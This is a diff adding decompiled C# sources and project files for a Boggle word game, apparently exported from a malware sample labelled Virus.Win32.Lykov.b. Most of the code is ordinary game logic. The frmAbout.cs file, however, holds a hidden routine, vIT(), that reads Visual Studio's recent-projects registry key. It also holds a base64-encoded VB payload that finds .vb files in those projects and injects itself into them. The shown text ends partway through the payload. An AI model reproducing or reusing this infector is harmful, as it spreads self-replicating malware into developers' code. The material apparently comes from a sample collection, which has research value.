set => this.clsCubeLabel = value;
}
public void SetRndCubeLetter()
{
string str = "AABCDEEFGHIIJKLMNOOPQRSTUUVWXYZ";
VBMath.Randomize();
int Start1 = checked ((int) Math.Round((double) Conversion.Int((float) unchecked ((double) Strings.Len(str) * (double) VBMath.Rnd() + 1.0))));
string sLeft = Strings.Mid(str, Start1, 1);
long num1 = (long) checked (Start1 * 100);
long num2 = 1;
while (num2 <= num1)
{
VBMath.Randomize();
int Start2 = checked ((int) Math.Round((double) Conversion.Int((float) unchecked ((double) Strings.Len(str) * (double) VBMath.Rnd() + 1.0))));
sLeft = Strings.Mid(str, Start2, 1);
checked { ++num2; }
}
if (StringType.StrCmp(sLeft, "Q", false) == 0)
{
sLeft = "Qu";
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
if (StringType.StrCmp(modGlobal.myCube.CubeLetter, "Qu", false) == 0)
sLeft = "R";
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
}
this.CubeLetter = sLeft;
}
private void clspicCubeDown_Paint(object sender, PaintEventArgs e)
{
long x = checked ((long) Math.Round(unchecked (DoubleType.FromString(Strings.Mid(StringType.FromObject(this.CubeLabel.Tag), 1, 1)) * 70.0 * -1.0)));
long y = checked ((long) Math.Round(unchecked (DoubleType.FromString(Strings.Mid(StringType.FromObject(this.CubeLabel.Tag), 2, 1)) * 70.0 * -1.0)));
Image image = Image.FromFile(modGlobal.AppPath + "\\CubesDown.jpg");
Point[] destPoints = new Point[3]
{
new Point(checked ((int) x), checked ((int) y)),
new Point(checked ((int) (283L + x)), checked ((int) y)),
new Point(checked ((int) x), checked ((int) (283L + y)))
};
e.Graphics.DrawImage(image, destPoints);
}
public void ShowClick()
{
this.clsPicCubeDown.Width = checked ((int) Math.Round(unchecked (74.0 - DoubleType.FromString(Strings.Mid(StringType.FromObject(this.clsCubeLabel.Tag), 1, 1)))));
this.clsPicCubeDown.Height = checked ((int) Math.Round(unchecked (75.0 - DoubleType.FromString(Strings.Mid(StringType.FromObject(this.clsCubeLabel.Tag), 2, 1)))));
this.clsPicCubeDown.Left = checked (this.clsCubeLabel.Left - 10);
this.clsPicCubeDown.Top = checked ((int) Math.Round(unchecked ((double) this.clsCubeLabel.Top - 9.6)));
this.CubeTopRadius = (object) 50;
this.clsPicCubeDown.Show();
this.SetCubeTopPos();
}
private void SetCubeTopPos()
{
object tag = this.clsCubeLabel.Tag;
if (ObjectType.ObjTst(tag, (object) "00", false) == 0)
{
checked { this.clsCubeLabel.Top += 7; }
checked { this.clsCubeLabel.Left += 6; }
}
else if (ObjectType.ObjTst(tag, (object) "10", false) == 0)
{
checked { this.clsCubeLabel.Top += 7; }
checked { this.clsCubeLabel.Left += 3; }
}
else if (ObjectType.ObjTst(tag, (object) "20", false) == 0)
{
checked { this.clsCubeLabel.Top += 7; }
checked { --this.clsCubeLabel.Left; }
}
else if (ObjectType.ObjTst(tag, (object) "30", false) == 0)
{
checked { this.clsCubeLabel.Top += 7; }
checked { this.clsCubeLabel.Left -= 6; }
}
else if (ObjectType.ObjTst(tag, (object) "01", false) == 0)
{
checked { this.clsCubeLabel.Top += 4; }
checked { this.clsCubeLabel.Left += 7; }
}
else if (ObjectType.ObjTst(tag, (object) "11", false) == 0)
{
checked { this.clsCubeLabel.Top += 4; }
checked { this.clsCubeLabel.Left += 3; }
}
else if (ObjectType.ObjTst(tag, (object) "21", false) == 0)
{
checked { this.clsCubeLabel.Top += 4; }
checked { --this.clsCubeLabel.Left; }
}
else if (ObjectType.ObjTst(tag, (object) "31", false) == 0)
{
checked { this.clsCubeLabel.Top += 3; }
checked { this.clsCubeLabel.Left -= 5; }
}
else if (ObjectType.ObjTst(tag, (object) "02", false) == 0)
checked { this.clsCubeLabel.Left += 8; }
else if (ObjectType.ObjTst(tag, (object) "12", false) == 0)
{
checked { --this.clsCubeLabel.Top; }
checked { this.clsCubeLabel.Left += 3; }
}
else if (ObjectType.ObjTst(tag, (object) "22", false) == 0)
{
checked { --this.clsCubeLabel.Top; }
checked { --this.clsCubeLabel.Left; }
}
else if (ObjectType.ObjTst(tag, (object) "32", false) == 0)
{
checked { --this.clsCubeLabel.Top; }
checked { this.clsCubeLabel.Left -= 5; }
}
else if (ObjectType.ObjTst(tag, (object) "03", false) == 0)
{
checked { this.clsCubeLabel.Top -= 5; }
checked { this.clsCubeLabel.Left += 8; }
}
else if (ObjectType.ObjTst(tag, (object) "13", false) == 0)
{
checked { this.clsCubeLabel.Top -= 5; }
checked { this.clsCubeLabel.Left += 3; }
}
else if (ObjectType.ObjTst(tag, (object) "23", false) == 0)
{
checked { this.clsCubeLabel.Top -= 5; }
checked { --this.clsCubeLabel.Left; }
}
else
{
if (ObjectType.ObjTst(tag, (object) "33", false) != 0)
return;
checked { this.clsCubeLabel.Top -= 5; }
checked { this.clsCubeLabel.Left -= 5; }
}
}
}
}
@@ -0,0 +1,375 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.CubesCollection
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class CubesCollection : CollectionBase
{
private string clsWordToShow;
private CubesCollection.StateOfCubes clsCubesState;
private string clsDisplayText;
private PictureBox clsCubesPicBox;
private bool clsDisplayTextFadeOut;
private bool clsDisplayTextStartUp;
private int clsDisplayTextMaxSize;
private int clsDisplayPosition;
private Thread SpinCubesThread;
private Thread ScrambleCubesThread;
private bool clsCubesAreSpinning;
private bool clsCubesAreScrambling;
private bool clsKillThread;
[SpecialName]
private double \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle;
[SpecialName]
private StaticLocalInitFlag \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init;
[SpecialName]
private double \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact;
[SpecialName]
private StaticLocalInitFlag \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init;
[SpecialName]
private double \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize;
[SpecialName]
private StaticLocalInitFlag \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init;
[SpecialName]
private int \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue;
public CubesCollection()
{
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init = new StaticLocalInitFlag();
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init = new StaticLocalInitFlag();
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init = new StaticLocalInitFlag();
}
public bool CubesAreScrambling
{
get => this.clsCubesAreScrambling;
set => this.clsCubesAreScrambling = value;
}
public bool CubesAreSpinning
{
get => this.clsCubesAreSpinning;
set => this.clsCubesAreSpinning = value;
}
public int DisplayPosition
{
get => this.clsDisplayPosition;
set => this.clsDisplayPosition = value;
}
public int DisplayTextMaxSize
{
get => this.clsDisplayTextMaxSize;
set => this.clsDisplayTextMaxSize = value;
}
public bool DisplayTextStartUp
{
get => this.clsDisplayTextStartUp;
set => this.clsDisplayTextStartUp = value;
}
public bool DisplayTextFadeOut
{
get => this.clsDisplayTextFadeOut;
set => this.clsDisplayTextFadeOut = value;
}
public PictureBox CubesPicBox
{
get => this.clsCubesPicBox;
set => this.clsCubesPicBox = value;
}
public string DisplayText
{
get => this.clsDisplayText;
set => this.clsDisplayText = value;
}
public void Add(Cube Cube) => this.List.Add((object) Cube);
public Cube this[int Index] => (Cube) this.List[Index];
public void Remove(Cube Cube)
{
if (!this.List.Contains((object) Cube))
return;
this.List.Remove((object) Cube);
}
public string WordToShow
{
get => this.clsWordToShow;
set => this.clsWordToShow = value;
}
public void DrawCubes(PaintEventArgs e, CubesCollection.StateOfCubes State)
{
Bitmap bitmap = new Bitmap(modGlobal.AppPath + "\\CubesUp.jpg");
int num1 = 10;
if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State != (short) 1)
{
Monitor.Enter((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init);
try
{
if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State == (short) 0)
{
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State = (short) 2;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle = -0.777;
}
else if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State == (short) 2)
throw new IncompleteInitialization();
}
finally
{
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State = (short) 1;
Monitor.Exit((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init);
}
}
if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State != (short) 1)
{
Monitor.Enter((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init);
try
{
if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State == (short) 0)
{
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State = (short) 2;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact = (double) checked (bitmap.Height * -1);
}
else if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State == (short) 2)
throw new IncompleteInitialization();
}
finally
{
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State = (short) 1;
Monitor.Exit((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init);
}
}
if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State != (short) 1)
{
Monitor.Enter((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init);
try
{
if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State == (short) 0)
{
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State = (short) 2;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue = 1;
}
else if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State == (short) 2)
throw new IncompleteInitialization();
}
finally
{
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State = (short) 1;
Monitor.Exit((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init);
}
}
double a1;
double a2;
double a3;
double a4;
double a5;
double a6;
switch (State)
{
case CubesCollection.StateOfCubes.Clear:
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle = -0.777;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact = (double) checked (bitmap.Height * -1);
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize = 0.0;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue = 1;
this.clsCubesPicBox.Image = (Image) null;
break;
case CubesCollection.StateOfCubes.Normal:
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle = -0.777;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact = (double) checked (bitmap.Height * -1);
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize = 0.0;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue = 1;
double num2 = Math.Sqrt((double) checked (bitmap.Width * bitmap.Width + bitmap.Height * bitmap.Height)) / 2.0;
a1 = (double) num1 + (num2 * 2.0 - (double) bitmap.Width) / 2.0;
a2 = (num2 * 2.0 - (double) bitmap.Height) / 2.0;
a3 = a1 + (double) bitmap.Width;
a4 = (num2 * 2.0 - (double) bitmap.Height) / 2.0;
a5 = (double) num1 + (num2 * 2.0 - (double) bitmap.Width) / 2.0;
a6 = a2 + (double) bitmap.Height;
break;
case CubesCollection.StateOfCubes.Spinning:
double num3 = Math.Sqrt((double) checked (bitmap.Width * bitmap.Width + bitmap.Height * bitmap.Height)) / 2.0;
a1 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num3 + num3;
a2 = num3 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num3;
a3 = Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num3 + num3;
a4 = num3 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num3;
a5 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num3 + num3;
a6 = num3 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num3;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle += 0.3;
break;
case CubesCollection.StateOfCubes.ZoomSpinning:
double num4 = Math.Sqrt(((double) bitmap.Width + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact) * ((double) bitmap.Width + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact) + ((double) bitmap.Height + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact) * ((double) bitmap.Height + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact)) / 2.0;
a1 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num4 + num4;
a2 = num4 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num4;
a3 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num4 + num4;
a4 = num4 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num4;
a5 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num4 + num4;
a6 = num4 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num4;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle += 0.3;
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact += 2.0;
break;
case CubesCollection.StateOfCubes.Text:
try
{
GraphicsPath path = new GraphicsPath();
Rectangle rect = new Rectangle(0, 0, this.clsCubesPicBox.Width, this.clsCubesPicBox.Height);
LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rect, Color.LightBlue, Color.DarkBlue, LinearGradientMode.Vertical);
if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize > (double) checked ((int) Math.Round(unchecked ((double) this.clsDisplayTextMaxSize / 2.0))) & this.clsDisplayTextFadeOut)
checked { this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue *= -1; }
this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize += (double) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue;
Font font1 = new Font("Arial", (float) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize, FontStyle.Regular, GraphicsUnit.Pixel, (byte) 1);
SizeF sizeF1 = new SizeF();
Graphics graphics = e.Graphics;
string clsDisplayText = this.clsDisplayText;
Font font2 = font1;
SizeF layoutArea = new SizeF();
StringFormat stringFormat = new StringFormat(StringFormatFlags.DirectionRightToLeft);
int num5 = Strings.Len(this.clsDisplayText);
ref int local1 = ref num5;
int num6 = 1;
ref int local2 = ref num6;
SizeF sizeF2 = graphics.MeasureString(clsDisplayText, font2, layoutArea, stringFormat, out local1, out local2);
path.AddString(this.clsDisplayText, font1.FontFamily, (int) font1.Style, font1.Size, new PointF((float) ((double) rect.Width / 2.0 - (double) sizeF2.Width / 2.0), (float) ((double) rect.Height / 2.0 - (double) sizeF2.Height / 2.0) + (float) this.clsDisplayPosition), StringFormat.GenericDefault);
e.Graphics.FillPath((Brush) linearGradientBrush, path);
break;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
this.clsCubesState = CubesCollection.StateOfCubes.Clear;
this.clsCubesPicBox.Refresh();
ProjectData.ClearProjectError();
break;
}
}
Point[] destPoints = new Point[3]
{
new Point(checked ((int) Math.Round(a1)), checked ((int) Math.Round(a2))),
new Point(checked ((int) Math.Round(a3)), checked ((int) Math.Round(a4))),
new Point(checked ((int) Math.Round(a5)), checked ((int) Math.Round(a6)))
};
e.Graphics.DrawImage((Image) bitmap, destPoints);
}
private void ShowSpinCubes()
{
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeLabel.Visible = false;
modGlobal.myCube.SetRndCubeLetter();
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
int num = 1;
while (!this.clsKillThread)
{
Thread.Sleep(1);
this.clsCubesState = CubesCollection.StateOfCubes.ZoomSpinning;
this.clsCubesPicBox.Refresh();
checked { ++num; }
if (num > 130)
{
modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Normal;
this.clsCubesPicBox.Refresh();
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeLabel.Visible = true;
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
this.clsCubesAreSpinning = false;
return;
}
}
this.clsCubesAreSpinning = false;
this.clsKillThread = false;
}
public void ShowSpinStartUp()
{
this.SpinCubesThread = new Thread(new ThreadStart(this.ShowSpinCubes));
this.clsCubesAreSpinning = true;
this.clsKillThread = false;
this.SpinCubesThread.Start();
}
public CubesCollection.StateOfCubes CubesState
{
get => this.clsCubesState;
set => this.clsCubesState = value;
}
private void HandleScrambleCubes()
{
long num = 1;
while (!this.clsKillThread)
{
Thread.Sleep(1);
this.clsCubesPicBox.Refresh();
checked { ++num; }
if (num > 100L)
{
this.clsCubesAreScrambling = false;
return;
}
}
this.clsCubesAreScrambling = false;
this.clsKillThread = false;
}
public void ScrambleCubes()
{
this.ScrambleCubesThread = new Thread(new ThreadStart(this.HandleScrambleCubes));
this.clsCubesAreScrambling = true;
this.clsKillThread = false;
this.ScrambleCubesThread.Start();
}
public void KillCubeThreads() => this.clsKillThread = true;
public enum StateOfCubes
{
Clear,
Normal,
Spinning,
ZoomSpinning,
Text,
}
}
}
@@ -0,0 +1,70 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{89C8806B-C890-4312-B823-5525FC0B63BB}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Boggle</AssemblyName>
<ApplicationVersion>1.0.1320.31511</ApplicationVersion>
<RootNamespace>Boggle</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="BogBorder.cs" />
<Compile Include="BogButton.cs" />
<Compile Include="BogPanel.cs" />
<Compile Include="BogTimer.cs" />
<Compile Include="CircleLabel.cs" />
<Compile Include="Cube.cs" />
<Compile Include="CubesCollection.cs" />
<Compile Include="frmAbout.cs" />
<Compile Include="frmHighScores.cs" />
<Compile Include="frmMain.cs" />
<Compile Include="frmWelcome.cs" />
<Compile Include="modFindWords.cs" />
<Compile Include="modGlobal.cs" />
<Compile Include="tmrShape.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="BogBorder.resx" />
<EmbeddedResource Include="BogButton.resx" />
<EmbeddedResource Include="BogPanel.resx" />
<EmbeddedResource Include="BogTimer.resx" />
<EmbeddedResource Include="CircleLabel.resx" />
<EmbeddedResource Include="frmAbout.resx" />
<EmbeddedResource Include="frmHighScores.resx" />
<EmbeddedResource Include="frmMain.resx" />
<EmbeddedResource Include="frmWelcome.resx" />
<EmbeddedResource Include="tmrShape.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Boggle", "Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.csproj", "{89C8806B-C890-4312-B823-5525FC0B63BB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{89C8806B-C890-4312-B823-5525FC0B63BB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{89C8806B-C890-4312-B823-5525FC0B63BB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{89C8806B-C890-4312-B823-5525FC0B63BB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{89C8806B-C890-4312-B823-5525FC0B63BB}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,272 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.frmAbout
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class frmAbout : Form
{
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("Label2")]
private Label _Label2;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("PictureBox1")]
private PictureBox _PictureBox1;
[AccessedThroughProperty("Label4")]
private Label _Label4;
private IContainer components;
internal virtual Label Label2
{
get => this._Label2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label2 == null)
;
this._Label2 = value;
if (this._Label2 == null)
;
}
}
internal virtual PictureBox PictureBox1
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._PictureBox1 == null)
;
this._PictureBox1 = value;
if (this._PictureBox1 == null)
;
}
get => this._PictureBox1;
}
internal virtual Label Label4
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label4 == null)
;
this._Label4 = value;
if (this._Label4 == null)
;
}
get => this._Label4;
}
internal virtual Label Label1
{
get => this._Label1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label1 == null)
;
this._Label1 = value;
if (this._Label1 == null)
;
}
}
internal virtual Label Label3
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label3 == null)
;
this._Label3 = value;
if (this._Label3 == null)
;
}
get => this._Label3;
}
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + 